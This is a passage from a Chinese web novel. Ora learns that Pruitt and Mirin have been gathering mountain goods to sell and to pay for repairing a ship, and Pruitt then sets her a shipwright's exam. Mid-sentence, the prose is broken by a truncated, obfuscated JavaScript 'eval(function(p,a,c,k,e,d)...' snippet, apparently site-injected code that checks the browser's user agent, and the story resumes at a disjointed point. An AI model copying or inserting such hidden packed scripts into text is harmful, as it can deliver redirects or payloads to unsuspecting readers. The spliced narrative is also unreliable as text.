奇形怪状的蘑菇、五颜六色的果子、连根刨起的野花与小树苗……奥拉甚至看到了一大摊褐色的泥土。一看就知道麻袋里面装的东西,几乎都是从山上和森林里搜刮来的。 奥拉不明所以:“找这些东西是有什么用吗?” “啧啧啧,这些可都是商机啊!”普鲁伊特发出‘你连这都不懂’的爆鸣,他单手攥拳,热血沸腾,“这可是特产!离开这里以后,这些就是稀缺货!” “稀缺货意味着什么?”普鲁伊特手放在耳边做出倾听的样子。 “没错!”在一片寂静中,他大喝一声,“稀缺就意味着抢手,无论是什么样的垃圾,只要稀缺就会变的有价值!这就是人性,这就是从商之道啊!” 奥拉完全无法理解,这家伙刚刚是说了垃圾这两个字吧。 她看向米琳。 “难道你们这两天就是一直在忙着收集这些东西?” 米琳将麻袋放下。 “是的。” 估计是在山里跑了一整天,米琳衣服上沾了些灰尘,修长的手指上灰了大半,连脸上都不知道何时蹭上了几道灰褐色的痕迹。 扛了几天大袋子,她本人看起来倒是精神满满。 “普鲁那家伙……普鲁阁下说这些可以抵扣贝里。”她两只手的手指一根根伸出,念念有词直到竖起七根,朝着奥拉挥了挥“这个数。” “太可靠了!!”奥拉毫不吝啬自己的夸奖。 米琳扬起笑脸,又比了个数字,“这样我们只要再花这些钱就可以修船了。” “等会儿——”奥拉闻言语调骤然拔高,“这是什么意思?” “一套修理包100贝里,包含一根木头和四根钉子。”米琳歪头,“要把船修好700贝里应该还是差点。” 是奥拉自己说来负责修船的事情,这么做很合理……才怪啊! 米琳也参与了采集木头的工作里面去,按照常理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她找到普鲁伊特:“普鲁,船翼在哪一层?现在可以维修吗?” “现在恐怕不行。”普鲁伊特想了想,从自己瘦削的身上摸来摸去。须臾,一本大概只有一指宽的书被他从衣服里掏了出来,“我觉得你应该需要这个~” 奥拉把普鲁伊特从头看到脚,最后落到这本标题为《船匠的自我修养》的书上。 她嘴角抽了抽:“你还真是什么都有啊。” “免费。”普鲁伊特大方的递给奥拉。 奥拉没有接,还瞬间警惕起来。 她深知免费的就是最贵的,试探道:“真的?” “哼~我有一个条件。”普鲁伊特也没卖关子,他直接说道,“你要通读这本书,通过我的考试后才能修船。” “或者……” “找到一个船匠,但是也要通过我的考试才能修我的船。” 奥拉还以为是什么条件,听闻只是考试,她自信一笑,接过《船匠的自我修养》。 她可是经历过高考的女人,区区考试,不在话下!